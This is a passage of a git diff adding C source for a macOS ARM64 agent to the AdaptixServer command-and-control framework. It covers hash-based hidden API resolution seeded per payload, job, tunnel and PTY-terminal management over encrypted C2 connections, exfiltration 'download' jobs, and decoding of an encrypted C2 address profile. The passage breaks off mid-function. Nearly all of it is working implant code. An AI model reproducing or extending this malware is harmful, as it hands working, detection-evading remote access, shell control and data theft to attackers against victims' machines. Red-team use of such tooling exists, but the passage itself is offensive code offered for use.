+ RESOLVE(fn_execlp, "execlp"); + RESOLVE(fn_waitpid, "waitpid"); + RESOLVE(fn_getpid, "getpid"); + RESOLVE(fn_getuid, "getuid"); + RESOLVE(fn_geteuid, "geteuid"); + RESOLVE(fn_kill, "kill"); + RESOLVE(fn_killpg, "killpg"); + RESOLVE(fn_setsid, "setsid"); + RESOLVE(fn_setpgid, "setpgid"); + RESOLVE(fn_exit, "_exit"); + + // ── Network ── + RESOLVE(fn_socket, "socket"); + RESOLVE(fn_connect, "connect"); + RESOLVE(fn_getaddrinfo, "getaddrinfo"); + RESOLVE(fn_freeaddrinfo, "freeaddrinfo"); + RESOLVE(fn_gethostname, "gethostname"); + RESOLVE(fn_getsockopt, "getsockopt"); + RESOLVE(fn_setsockopt, "setsockopt"); + RESOLVE(fn_select, "select"); + + // ── System ── + RESOLVE(fn_sysctl, "sysctl"); + RESOLVE(fn_sysctlbyname, "sysctlbyname"); + RESOLVE(fn_getenv, "getenv"); + RESOLVE(fn_setenv, "setenv"); + RESOLVE(fn_sleep, "sleep"); + RESOLVE(fn_usleep, "usleep"); + + // ── Pipes & PTY ── + RESOLVE(fn_pipe, "pipe"); + RESOLVE(fn_dup2, "dup2"); + RESOLVE(fn_fcntl, "fcntl"); + RESOLVE(fn_posix_openpt, "posix_openpt"); + RESOLVE(fn_grantpt, "grantpt"); + RESOLVE(fn_unlockpt, "unlockpt"); + RESOLVE(fn_ptsname, "ptsname"); + RESOLVE(fn_ioctl, "ioctl"); + + // ── Threading ── + RESOLVE(fn_pthread_create, "pthread_create"); + RESOLVE(fn_pthread_detach, "pthread_detach"); + RESOLVE(fn_pthread_mutex_init, "pthread_mutex_init"); + RESOLVE(fn_pthread_mutex_lock, "pthread_mutex_lock"); + RESOLVE(fn_pthread_mutex_unlock, "pthread_mutex_unlock"); + + // ── Crypto/Random ── + RESOLVE(fn_arc4random_buf, "arc4random_buf"); + + // ── String/Misc ── + RESOLVE(fn_dlopen, "dlopen"); + RESOLVE(fn_dlsym, "dlsym"); + RESOLVE(fn_dlclose, "dlclose"); + + // ── macOS-specific ── + RESOLVE(fn_getpwuid, "getpwuid"); + RESOLVE(fn_getgrgid, "getgrgid"); + RESOLVE(fn_getifaddrs, "getifaddrs"); + RESOLVE(fn_freeifaddrs, "freeifaddrs"); + RESOLVE(fn_inet_ntop, "inet_ntop"); + RESOLVE(fn_localtime, "localtime"); + RESOLVE(fn_strftime, "strftime"); + + #undef RESOLVE + + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.h new file mode 100644 index 000000000..e4af417a7 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.h @@ -0,0 +1,209 @@ +#ifndef DYLD_RESOLVE_H +#define DYLD_RESOLVE_H + +#include +#include + +/// DJB2 hash-based API resolution for Mach-O on macOS ARM64 +/// Equivalent to beacon's ProcLoader.cpp but for dyld/LC_SYMTAB +/// +/// Usage: +/// void* libsystem = dyld_resolve_lib(HASH_LIB_LIBSYSTEM); +/// void* fn_open = dyld_resolve_sym(libsystem, HASH_FUNC_OPEN); +/// ((int(*)(const char*, int, int))fn_open)("/dev/urandom", 0, 0); + +/// DJB2 hash function (case-insensitive, seeded) +/// Seed is defined per-payload via -DDJB2_SEED=U +#ifndef DJB2_SEED +#define DJB2_SEED 0x1505U // Default seed (overridden per-payload) +#endif + +uint32_t djb2_hash(const char* str); + +/// Resolve a loaded dylib by hash of its base name +/// Iterates _dyld_image_count(), hashes each image name's basename +/// Returns the image header address (Mach-O header) or NULL +void* dyld_resolve_lib(uint32_t name_hash); + +/// Resolve a symbol within a Mach-O image by hash +/// Parses LC_SYMTAB to find the symbol, returns its address or NULL +void* dyld_resolve_sym(void* image_header, uint32_t symbol_hash); + +/// Initialize the resolver — resolves critical bootstrap functions +/// Call once at startup before using any resolved APIs +int dyld_resolver_init(void); + +/// Resolved API table (populated by dyld_resolver_init) +typedef struct { + // ── File I/O ── + void* fn_open; + void* fn_close; + void* fn_read; + void* fn_write; + void* fn_stat; + void* fn_fstat; + void* fn_unlink; + void* fn_rename; + void* fn_mkdir; + void* fn_opendir; + void* fn_readdir; + void* fn_closedir; + void* fn_getcwd; + void* fn_chdir; + void* fn_copyfile; + void* fn_rmdir; + void* fn_rewinddir; + + // ── Memory ── + void* fn_mmap; + void* fn_munmap; + void* fn_mprotect; + + // ── Process ── + void* fn_fork; + void* fn_execve; + void* fn_execvp; + void* fn_execl; + void* fn_execlp; + void* fn_waitpid; + void* fn_getpid; + void* fn_getuid; + void* fn_geteuid; + void* fn_kill; + void* fn_killpg; + void* fn_setsid; + void* fn_setpgid; + void* fn_exit; // _exit + + // ── Network ── + void* fn_socket; + void* fn_connect; + void* fn_getaddrinfo; + void* fn_freeaddrinfo; + void* fn_gethostname; + void* fn_getsockopt; + void* fn_setsockopt; + void* fn_select; + + // ── System ── + void* fn_sysctl; + void* fn_sysctlbyname; + void* fn_getenv; + void* fn_setenv; + void* fn_sleep; + void* fn_usleep; + + // ── Pipes & PTY ── + void* fn_pipe; + void* fn_dup2; + void* fn_fcntl; + void* fn_posix_openpt; + void* fn_grantpt; + void* fn_unlockpt; + void* fn_ptsname; + void* fn_ioctl; + + // ── Threading ── + void* fn_pthread_create; + void* fn_pthread_detach; + void* fn_pthread_mutex_init; + void* fn_pthread_mutex_lock; + void* fn_pthread_mutex_unlock; + + // ── Crypto/Random ── + void* fn_arc4random_buf; + + // ── String/Misc ── + void* fn_dlopen; + void* fn_dlsym; + void* fn_dlclose; + + // ── macOS-specific ── + void* fn_getpwuid; + void* fn_getgrgid; + void* fn_getifaddrs; + void* fn_freeifaddrs; + void* fn_inet_ntop; + void* fn_localtime; + void* fn_strftime; +} resolved_apis_t; + +extern resolved_apis_t g_apis; + +// ── Convenience casting macros ── +// These provide type-safe access to resolved APIs without verbose manual casts. +// Each file includes its own system headers, so the types are already defined. +// These macros are safe to use in any .c file that includes dyld_resolve.h +// AFTER the relevant system headers (which all our files do). + +#define R_open(p,f,m) ((int(*)(const char*,int,...))g_apis.fn_open)(p,f,m) +#define R_close(fd) ((int(*)(int))g_apis.fn_close)(fd) +#define R_read(fd,b,n) ((long(*)(int,void*,unsigned long))g_apis.fn_read)(fd,b,n) +#define R_write(fd,b,n) ((long(*)(int,const void*,unsigned long))g_apis.fn_write)(fd,b,n) +#define R_stat(p,s) ((int(*)(const char*,void*))g_apis.fn_stat)(p,s) +#define R_fstat(fd,s) ((int(*)(int,void*))g_apis.fn_fstat)(fd,s) +#define R_unlink(p) ((int(*)(const char*))g_apis.fn_unlink)(p) +#define R_rename(o,n) ((int(*)(const char*,const char*))g_apis.fn_rename)(o,n) +#define R_mkdir(p,m) ((int(*)(const char*,unsigned short))g_apis.fn_mkdir)(p,m) +#define R_opendir(p) ((void*(*)(const char*))g_apis.fn_opendir)(p) +#define R_readdir(d) ((void*(*)(void*))g_apis.fn_readdir)(d) +#define R_closedir(d) ((int(*)(void*))g_apis.fn_closedir)(d) +#define R_getcwd(b,s) ((char*(*)(char*,unsigned long))g_apis.fn_getcwd)(b,s) +#define R_chdir(p) ((int(*)(const char*))g_apis.fn_chdir)(p) +#define R_copyfile(s,d,st,f) ((int(*)(const char*,const char*,void*,unsigned int))g_apis.fn_copyfile)(s,d,st,f) +#define R_rmdir(p) ((int(*)(const char*))g_apis.fn_rmdir)(p) +#define R_rewinddir(d) ((void(*)(void*))g_apis.fn_rewinddir)(d) + +#define R_fork() ((int(*)(void))g_apis.fn_fork)() +#define R_execve(p,a,e) ((int(*)(const char*,char*const*,char*const*))g_apis.fn_execve)(p,a,e) +#define R_execvp(f,a) ((int(*)(const char*,char*const*))g_apis.fn_execvp)(f,a) +#define R_execl(...) ((int(*)(const char*,...))g_apis.fn_execl)(__VA_ARGS__) +#define R_execlp(...) ((int(*)(const char*,...))g_apis.fn_execlp)(__VA_ARGS__) +#define R_waitpid(p,s,o) ((int(*)(int,int*,int))g_apis.fn_waitpid)(p,s,o) +#define R_getpid() ((int(*)(void))g_apis.fn_getpid)() +#define R_getuid() ((unsigned int(*)(void))g_apis.fn_getuid)() +#define R_geteuid() ((unsigned int(*)(void))g_apis.fn_geteuid)() +#define R_kill(p,s) ((int(*)(int,int))g_apis.fn_kill)(p,s) +#define R_killpg(pg,s) ((int(*)(int,int))g_apis.fn_killpg)(pg,s) +#define R_setsid() ((int(*)(void))g_apis.fn_setsid)() +#define R_setpgid(p,g) ((int(*)(int,int))g_apis.fn_setpgid)(p,g) +#define R_exit(s) ((void(*)(int))g_apis.fn_exit)(s) + +#define R_socket(d,t,p) ((int(*)(int,int,int))g_apis.fn_socket)(d,t,p) +#define R_connect(s,a,l) ((int(*)(int,const void*,unsigned int))g_apis.fn_connect)(s,a,l) +#define R_getaddrinfo(h,s,hi,r) ((int(*)(const char*,const char*,const void*,void*))g_apis.fn_getaddrinfo)(h,s,hi,r) +#define R_freeaddrinfo(r) ((void(*)(void*))g_apis.fn_freeaddrinfo)(r) +#define R_gethostname(b,l) ((int(*)(char*,unsigned long))g_apis.fn_gethostname)(b,l) +#define R_getsockopt(s,l,o,v,n) ((int(*)(int,int,int,void*,unsigned int*))g_apis.fn_getsockopt)(s,l,o,v,n) +#define R_select(n,r,w,e,t) ((int(*)(int,void*,void*,void*,void*))g_apis.fn_select)(n,r,w,e,t) + +#define R_sysctl(m,c,o,os,n,ns) ((int(*)(int*,unsigned int,void*,unsigned long*,void*,unsigned long))g_apis.fn_sysctl)(m,c,o,os,n,ns) +#define R_getenv(k) ((char*(*)(const char*))g_apis.fn_getenv)(k) +#define R_setenv(k,v,o) ((int(*)(const char*,const char*,int))g_apis.fn_setenv)(k,v,o) +#define R_sleep(s) ((unsigned int(*)(unsigned int))g_apis.fn_sleep)(s) +#define R_usleep(u) ((int(*)(unsigned int))g_apis.fn_usleep)(u) + +#define R_pipe(p) ((int(*)(int*))g_apis.fn_pipe)(p) +#define R_dup2(o,n) ((int(*)(int,int))g_apis.fn_dup2)(o,n) +#define R_fcntl(fd,cmd,...) ((int(*)(int,int,...))g_apis.fn_fcntl)(fd,cmd,##__VA_ARGS__) +#define R_posix_openpt(f) ((int(*)(int))g_apis.fn_posix_openpt)(f) +#define R_grantpt(fd) ((int(*)(int))g_apis.fn_grantpt)(fd) +#define R_unlockpt(fd) ((int(*)(int))g_apis.fn_unlockpt)(fd) +#define R_ptsname(fd) ((char*(*)(int))g_apis.fn_ptsname)(fd) +#define R_ioctl(fd,r,...) ((int(*)(int,unsigned long,...))g_apis.fn_ioctl)(fd,r,##__VA_ARGS__) + +#define R_pthread_create(t,a,f,d) ((int(*)(void*,const void*,void*(*)(void*),void*))g_apis.fn_pthread_create)(t,a,f,d) +#define R_pthread_detach(t) ((int(*)(void*))g_apis.fn_pthread_detach)((void*)(t)) +#define R_pthread_mutex_init(m,a) ((int(*)(void*,const void*))g_apis.fn_pthread_mutex_init)(m,a) +#define R_pthread_mutex_lock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_lock)(m) +#define R_pthread_mutex_unlock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_unlock)(m) + +#define R_getpwuid(u) ((void*(*)(unsigned int))g_apis.fn_getpwuid)(u) +#define R_getgrgid(g) ((void*(*)(unsigned int))g_apis.fn_getgrgid)(g) +#define R_getifaddrs(a) ((int(*)(void*))g_apis.fn_getifaddrs)(a) +#define R_freeifaddrs(a) ((void(*)(void*))g_apis.fn_freeifaddrs)(a) +#define R_inet_ntop(f,s,d,l) ((const char*(*)(int,const void*,char*,unsigned int))g_apis.fn_inet_ntop)(f,s,d,l) +#define R_localtime(t) ((void*(*)(const void*))g_apis.fn_localtime)(t) +#define R_strftime(b,m,f,t) ((unsigned long(*)(char*,unsigned long,const char*,const void*))g_apis.fn_strftime)(b,m,f,t) + +#endif // DYLD_RESOLVE_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.c new file mode 100644 index 000000000..6e5f9962d --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.c @@ -0,0 +1,208 @@ +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "msgpack.h" +#include "dyld_resolve.h" + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _jobs_dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +static void _jobs_dbg_int(const char* prefix, int64_t val) { + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + char nbuf[24]; + int ni = 0; + uint64_t uv = val < 0 ? (uint64_t)(-val) : (uint64_t)val; + if (val < 0) sys_write(2, "-", 1); + do { nbuf[ni++] = '0' + (uv % 10); uv /= 10; } while (uv > 0); + while (ni > 0) { char c = nbuf[--ni]; sys_write(2, &c, 1); } + sys_write(2, "\n", 1); +} +static void _jobs_dbg_hex(const char* prefix, const uint8_t* data, size_t len) { + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + size_t show = len < 32 ? len : 32; + static const char hx[] = "0123456789abcdef"; + for (size_t i = 0; i < show; i++) { + char pair[3]; + pair[0] = hx[(data[i] >> 4) & 0xF]; + pair[1] = hx[data[i] & 0xF]; + pair[2] = ' '; + sys_write(2, pair, 3); + } + sys_write(2, "\n", 1); +} +#else +#define _jobs_dbg(msg) ((void)0) +#define _jobs_dbg_int(prefix, val) ((void)0) +#define _jobs_dbg_hex(prefix, d, l) ((void)0) +#endif + +/// Global job context +job_context_t g_job_ctx; + +void jobs_init(job_context_t* ctx) { + ax_memset(ctx, 0, sizeof(job_context_t)); + R_pthread_mutex_init(&ctx->jobs_mutex, (void*)0); + R_pthread_mutex_init(&ctx->tunnels_mutex, (void*)0); + R_pthread_mutex_init(&ctx->terminals_mutex, (void*)0); +} + +void jobs_update_connection(job_context_t* ctx, const char* address, + int banner_size, const uint8_t* enc_key, + uint32_t profile_type) { + ax_strncpy(ctx->address, address, sizeof(ctx->address) - 1); + ctx->banner_size = banner_size; + ax_memcpy(ctx->enc_key, enc_key, 16); + ctx->profile_type = profile_type; +} + +int jobs_open_connection(job_context_t* ctx, connector_t* conn) { + if (conn_open(conn, ctx->address) != 0) + return -1; + + // Discard banner + if (ctx->banner_size > 0) { + if (conn_discard(conn, (size_t)ctx->banner_size) != 0) { + conn_close(conn); + return -1; + } + } + return 0; +} + +int jobs_alloc(job_context_t* ctx) { + R_pthread_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (!ctx->jobs[i].active) { + ax_memset(&ctx->jobs[i], 0, sizeof(job_entry_t)); + ctx->jobs[i].conn.fd = -1; + R_pthread_mutex_unlock(&ctx->jobs_mutex); + return i; + } + } + R_pthread_mutex_unlock(&ctx->jobs_mutex); + return -1; +} + +int jobs_find(job_context_t* ctx, const char* job_id) { + R_pthread_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active && ax_strcmp(ctx->jobs[i].job_id, job_id) == 0) { + R_pthread_mutex_unlock(&ctx->jobs_mutex); + return i; + } + } + R_pthread_mutex_unlock(&ctx->jobs_mutex); + return -1; +} + +void jobs_remove(job_context_t* ctx, int idx) { + R_pthread_mutex_lock(&ctx->jobs_mutex); + if (idx >= 0 && idx < MAX_JOBS) { + ctx->jobs[idx].active = 0; + ctx->jobs[idx].job_id[0] = '\0'; + } + R_pthread_mutex_unlock(&ctx->jobs_mutex); +} + +int tunnels_find(job_context_t* ctx, int channel_id) { + R_pthread_mutex_lock(&ctx->tunnels_mutex); + for (int i = 0; i < MAX_TUNNELS; i++) { + if (ctx->tunnels[i].active && ctx->tunnels[i].channel_id == channel_id) { + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + return i; + } + } + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + return -1; +} + +int terminals_find(job_context_t* ctx, int term_id) { + R_pthread_mutex_lock(&ctx->terminals_mutex); + for (int i = 0; i < MAX_TERMINALS; i++) { + if (ctx->terminals[i].active && ctx->terminals[i].term_id == term_id) { + R_pthread_mutex_unlock(&ctx->terminals_mutex); + return i; + } + } + R_pthread_mutex_unlock(&ctx->terminals_mutex); + return -1; +} + +int jobs_send_init(job_context_t* ctx, connector_t* conn, + int pack_type, const uint8_t* pack_data, uint32_t pack_len) { + _jobs_dbg_int("[JOBS] send_init pack_type=", pack_type); + _jobs_dbg_int("[JOBS] send_init pack_len=", pack_len); + + // Outer: StartMsg{id: pack_type, data: pack_data} + mp_writer_t outer; + mp_writer_init(&outer, 256); + mp_write_map(&outer, 2); + mp_write_kv_int(&outer, "id", pack_type); + mp_write_kv_bin(&outer, "data", pack_data, pack_len); + + _jobs_dbg_int("[JOBS] StartMsg msgpack size=", (int64_t)outer.buf.len); + _jobs_dbg_hex("[JOBS] StartMsg first 32=", outer.buf.data, outer.buf.len < 32 ? outer.buf.len : 32); + + // Encrypt with profile enc_key + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, + ctx->enc_key, &enc_len); + mp_writer_free(&outer); + if (!encrypted) { + _jobs_dbg("[JOBS] GCM encrypt failed!"); + return -1; + } + + _jobs_dbg_int("[JOBS] GCM encrypted size=", (int64_t)enc_len); + _jobs_dbg_hex("[JOBS] GCM encrypted first 32=", encrypted, enc_len < 32 ? enc_len : 32); + + int ret = conn_send_msg(conn, encrypted, enc_len); + _jobs_dbg_int("[JOBS] conn_send_msg ret=", ret); + ax_free(encrypted, enc_len); + return ret; +} + +int jobs_send_message(job_context_t* ctx, connector_t* conn, + uint32_t command_id, const char* job_id, + const uint8_t* data, uint32_t data_len) { + // Build Job struct: {command_id, job_id, data} + mp_writer_t job_w; + mp_writer_init(&job_w, 256 + data_len); + mp_write_map(&job_w, 3); + mp_write_kv_uint(&job_w, "command_id", command_id); + mp_write_kv_str(&job_w, "job_id", job_id); + mp_write_kv_bin(&job_w, "data", data, data_len); + + // Build Message{type: 2, object: [packed_job]} + mp_writer_t msg_w; + mp_writer_init(&msg_w, 256 + job_w.buf.len); + mp_write_map(&msg_w, 2); + mp_write_kv_int(&msg_w, "type", 2); + mp_write_str(&msg_w, "object", 6); + mp_write_array(&msg_w, 1); + mp_write_bin(&msg_w, job_w.buf.data, (uint32_t)job_w.buf.len); + mp_writer_free(&job_w); + + // Encrypt with session key + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(msg_w.buf.data, msg_w.buf.len, + ctx->session_key, &enc_len); + mp_writer_free(&msg_w); + if (!encrypted) return -1; + + int ret = conn_send_msg(conn, encrypted, enc_len); + ax_free(encrypted, enc_len); + return ret; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.h new file mode 100644 index 000000000..5e4bec916 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.h @@ -0,0 +1,138 @@ +#ifndef JOBS_H +#define JOBS_H + +#include "types.h" +#include "connector.h" +#include "msgpack.h" +#include +#include + +/// Job management system — pthread-based async tasks +/// Matches Go agent's DOWNLOADS, JOBS, TUNNELS, TERMINALS maps + +#define MAX_JOBS 32 +#define MAX_TUNNELS 16 +#define MAX_TERMINALS 8 + +/// Job types (maps to pack types) +#define JOB_TYPE_DOWNLOAD EXFIL_PACK // 2 +#define JOB_TYPE_RUN JOB_PACK // 3 +#define JOB_TYPE_TUNNEL JOB_TUNNEL // 4 +#define JOB_TYPE_TERMINAL JOB_TERMINAL // 5 + +/// Job state +typedef struct { + char job_id[64]; // task ID (hex string from server) + int job_type; // JOB_TYPE_* + int active; // 1 = running, 0 = finished/canceled + int canceled; // 1 = cancel requested + pthread_t thread; // worker thread + connector_t conn; // separate C2 connection for this job +} job_entry_t; + +/// Tunnel controller (matches Go's TunnelController) +typedef struct { + int channel_id; + int active; + int paused; // atomic-ish pause flag + int canceled; + pthread_t thread; + connector_t srv_conn; // connection to C2 + int client_fd; // connection to target +} tunnel_entry_t; + +/// Terminal controller +typedef struct { + int term_id; + int active; + int canceled; + pthread_t thread; + connector_t srv_conn; // connection to C2 + int pty_master; // PTY master fd + int child_pid; // shell process pid +} terminal_entry_t; + +/// Upload staging (synchronous — data received in command loop) +typedef struct { + char task_id[64]; + uint8_t* data; + size_t data_len; + size_t data_cap; +} upload_entry_t; + +/// Global job context — shared state needed by async threads +typedef struct { + // Agent identity (for init packs) + uint32_t agent_id; + uint32_t profile_type; + uint8_t enc_key[16]; // profile encryption key + uint8_t session_key[16]; // session key (SKey) + + // Connection info for spawning new connections + char address[256]; // current C2 address + int banner_size; // banner to discard on new connections + + // Job tracking + job_entry_t jobs[MAX_JOBS]; + int job_count; + pthread_mutex_t jobs_mutex; + + // Tunnel tracking + tunnel_entry_t tunnels[MAX_TUNNELS]; + int tunnel_count; + pthread_mutex_t tunnels_mutex; + + // Terminal tracking + terminal_entry_t terminals[MAX_TERMINALS]; + int terminal_count; + pthread_mutex_t terminals_mutex; + + // Upload staging + upload_entry_t uploads[MAX_JOBS]; + int upload_count; +} job_context_t; + +/// Initialize job context (call once at startup) +void jobs_init(job_context_t* ctx); + +/// Update connection info when profile/address changes +void jobs_update_connection(job_context_t* ctx, const char* address, + int banner_size, const uint8_t* enc_key, + uint32_t profile_type); + +/// Open a new C2 connection for an async job +/// Handles banner, sends init pack (ExfilPack/JobPack/TunnelPack/TermPack) +int jobs_open_connection(job_context_t* ctx, connector_t* conn); + +/// Find a free job slot (returns index or -1) +int jobs_alloc(job_context_t* ctx); + +/// Find job by ID (returns index or -1) +int jobs_find(job_context_t* ctx, const char* job_id); + +/// Remove job by index +void jobs_remove(job_context_t* ctx, int idx); + +/// Find tunnel by channel_id +int tunnels_find(job_context_t* ctx, int channel_id); + +/// Find terminal by term_id +int terminals_find(job_context_t* ctx, int term_id); + +/// Build and send a job message on a separate connection +/// Message format: Message{Type:2, Object:[Job{command_id, job_id, data}]} +/// Encrypted with session_key +int jobs_send_message(job_context_t* ctx, connector_t* conn, + uint32_t command_id, const char* job_id, + const uint8_t* data, uint32_t data_len); + +/// Build and send the init pack for an async job +/// StartMsg{Type: pack_type, Data: msgpack(pack)} +/// Encrypted with enc_key +int jobs_send_init(job_context_t* ctx, connector_t* conn, + int pack_type, const uint8_t* pack_data, uint32_t pack_len); + +/// Global job context (set in main.c) +extern job_context_t g_job_ctx; + +#endif // JOBS_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/main.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/main.c new file mode 100644 index 000000000..de0c80c5b --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/main.c @@ -0,0 +1,584 @@ +#include "types.h" +#include "crt.h" +#include "msgpack.h" +#include "crypt.h" +#include "connector.h" +#include "agent_info.h" +#include "commander.h" +#include "jobs.h" +#include "opsec.h" +#include "dyld_resolve.h" +#include "config.h" + +#include + +/// ---- Debug tracing (temporary — uses direct syscall to stderr) ---- +/// Writes a short marker to stderr to trace execution flow +/// Remove after debugging is complete +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +#else +#define dbg(msg) ((void)0) +#endif + +/// Global state +static int ACTIVE = 1; + +/// Decode an encrypted profile blob +/// Input: [key 16B][AES-128-GCM encrypted msgpack(Profile)] +/// Extracts: addresses[], banner_size, conn_timeout, conn_count, use_ssl, type +typedef struct { + uint32_t type; + char** addresses; + uint32_t addr_count; + int banner_size; + int conn_timeout; + int conn_count; + int use_ssl; + uint8_t enc_key[16]; // profile encryption key +} profile_t; + +static int decode_profile(const uint8_t* enc_data, uint32_t enc_size, profile_t* prof) { +#ifdef DEBUG_TRACE + // Debug: print profile size and first bytes + { + char tmp[128]; + char hex[] = "0123456789abcdef"; + int pos = 0; + const char* prefix = " prof_size="; + while (*prefix) tmp[pos++] = *prefix++; + // itoa inline for enc_size + char numbuf[16]; int ni = 0; + uint32_t v = enc_size; + do { numbuf[ni++] = '0' + (v % 10); v /= 10; } while (v > 0); + while (ni > 0) tmp[pos++] = numbuf[--ni]; + tmp[pos++] = ' '; tmp[pos++] = 'k'; tmp[pos++] = 'e'; tmp[pos++] = 'y'; tmp[pos++] = '='; + for (int b = 0; b < 4 && b < (int)enc_size; b++) { + tmp[pos++] = hex[(enc_data[b] >> 4) & 0xf]; + tmp[pos++] = hex[enc_data[b] & 0xf]; + } + tmp[pos++] = '.'; tmp[pos++] = '.'; + tmp[pos] = '\0'; + dbg(tmp); + } +#endif + if (enc_size < 16 + GCM_NONCE_SIZE + GCM_TAG_SIZE) { dbg(" [!] too small"); return -1; } + + dbg(" [D1] memcpy key"); + // Extract key (first 16 bytes) + ax_memcpy(prof->enc_key, enc_data, 16); + + // Decrypt the rest + dbg(" [D2] calling gcm_decrypt"); + size_t pt_len; + uint8_t* plaintext = aes128_gcm_decrypt(enc_data + 16, enc_size - 16, prof->enc_key, &pt_len); + if (!plaintext) { dbg(" [!] decrypt FAILED (tag mismatch?)"); return -1; } + dbg(" [D3] decrypt OK"); + +#ifdef DEBUG_TRACE + { + char ptbuf[64]; + int pi = 0; + const char* pp = " [D3a] pt_len="; + while (*pp) ptbuf[pi++] = *pp++; + size_t pv = pt_len; + char nb[16]; int ni = 0; + do { nb[ni++] = '0' + (pv % 10); pv /= 10; } while (pv > 0); + while (ni > 0) ptbuf[pi++] = nb[--ni]; + ptbuf[pi] = '\0'; + dbg(ptbuf); + } +#endif + + // Parse msgpack Profile struct + dbg(" [D4] mp_reader_init"); + mp_reader_t r; + mp_reader_init(&r, plaintext, pt_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + dbg(" [!] mp_read_map failed"); + ax_free(plaintext, pt_len); + return -1; + } + dbg(" [D5] parsing fields"); + + // Initialize defaults + prof->type = 0; + prof->addresses = (char**)0; + prof->addr_count = 0; + prof->banner_size = 0; + prof->conn_timeout = 10; + prof->conn_count = 1000000000; + prof->use_ssl = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->type = (uint32_t)v; + } else if (klen == 9 && ax_memcmp(key, "addresses", 9) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + prof->addresses = (char**)ax_malloc(arr_count * sizeof(char*)); + prof->addr_count = arr_count; + for (uint32_t j = 0; j < arr_count; j++) { + const char* addr; uint32_t alen; + mp_read_str(&r, &addr, &alen); + prof->addresses[j] = (char*)ax_malloc(alen + 1); + ax_memcpy(prof->addresses[j], addr, alen); + prof->addresses[j][alen] = '\0'; + } + } + } else if (klen == 11 && ax_memcmp(key, "banner_size", 11) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->banner_size = (int)v; + } else if (klen == 12 && ax_memcmp(key, "conn_timeout", 12) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->conn_timeout = (int)v; + } else if (klen == 10 && ax_memcmp(key, "conn_count", 10) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->conn_count = (int)v; + } else if (klen == 7 && ax_memcmp(key, "use_ssl", 7) == 0) { + bool v; mp_read_bool(&r, &v); prof->use_ssl = v ? 1 : 0; + } else { + mp_skip(&r); + } + } + dbg(" [D6] fields parsed, freeing plaintext"); + +#ifdef DEBUG_TRACE + // Debug: check the alloc header before freeing + { + typedef struct { size_t total_size; } _ahdr_t; + #define _HSIZE ((sizeof(_ahdr_t) + 15) & ~15) + _ahdr_t* _hdr = (_ahdr_t*)((uint8_t*)plaintext - _HSIZE); + char fbuf[80]; + int fi = 0; + const char* fp = " [D6a] free: total_size="; + while (*fp) fbuf[fi++] = *fp++; + size_t fv = _hdr->total_size; + char nb[20]; int ni = 0; + do { nb[ni++] = '0' + (fv % 10); fv /= 10; } while (fv > 0); + while (ni > 0) fbuf[fi++] = nb[--ni]; + const char* ep = " expected="; + while (*ep) fbuf[fi++] = *ep++; + fv = _HSIZE + pt_len; + ni = 0; + do { nb[ni++] = '0' + (fv % 10); fv /= 10; } while (fv > 0); + while (ni > 0) fbuf[fi++] = nb[--ni]; + fbuf[fi] = '\0'; + dbg(fbuf); + #undef _HSIZE + } +#endif + + ax_free(plaintext, pt_len); + dbg(" [D7] decode_profile done"); + return 0; +} + +static void free_profile(profile_t* prof) { + if (prof->addresses) { + for (uint32_t i = 0; i < prof->addr_count; i++) { + if (prof->addresses[i]) { + ax_free(prof->addresses[i], ax_strlen(prof->addresses[i]) + 1); + } + } + ax_free(prof->addresses, prof->addr_count * sizeof(char*)); + } +} + +/// Build the init message: msgpack(StartMsg{type:1, data:msgpack(InitPack{id, type, data:sessionInfo})}) +static int build_init_msg(uint32_t agent_id, uint32_t profile_type, + const uint8_t* session_info, size_t si_len, + const uint8_t* enc_key, + uint8_t** out_msg, size_t* out_len) { + // Inner: InitPack — declaration order: Id, Type, Data → tags: id, type, data + mp_writer_t inner; + mp_writer_init(&inner, 256); + mp_write_map(&inner, 3); + mp_write_kv_uint(&inner, "id", agent_id); + mp_write_kv_uint(&inner, "type", profile_type); + mp_write_kv_bin(&inner, "data", session_info, (uint32_t)si_len); + + // Outer: StartMsg — declaration order: Type, Data → tags: id, data + mp_writer_t outer; + mp_writer_init(&outer, 256); + 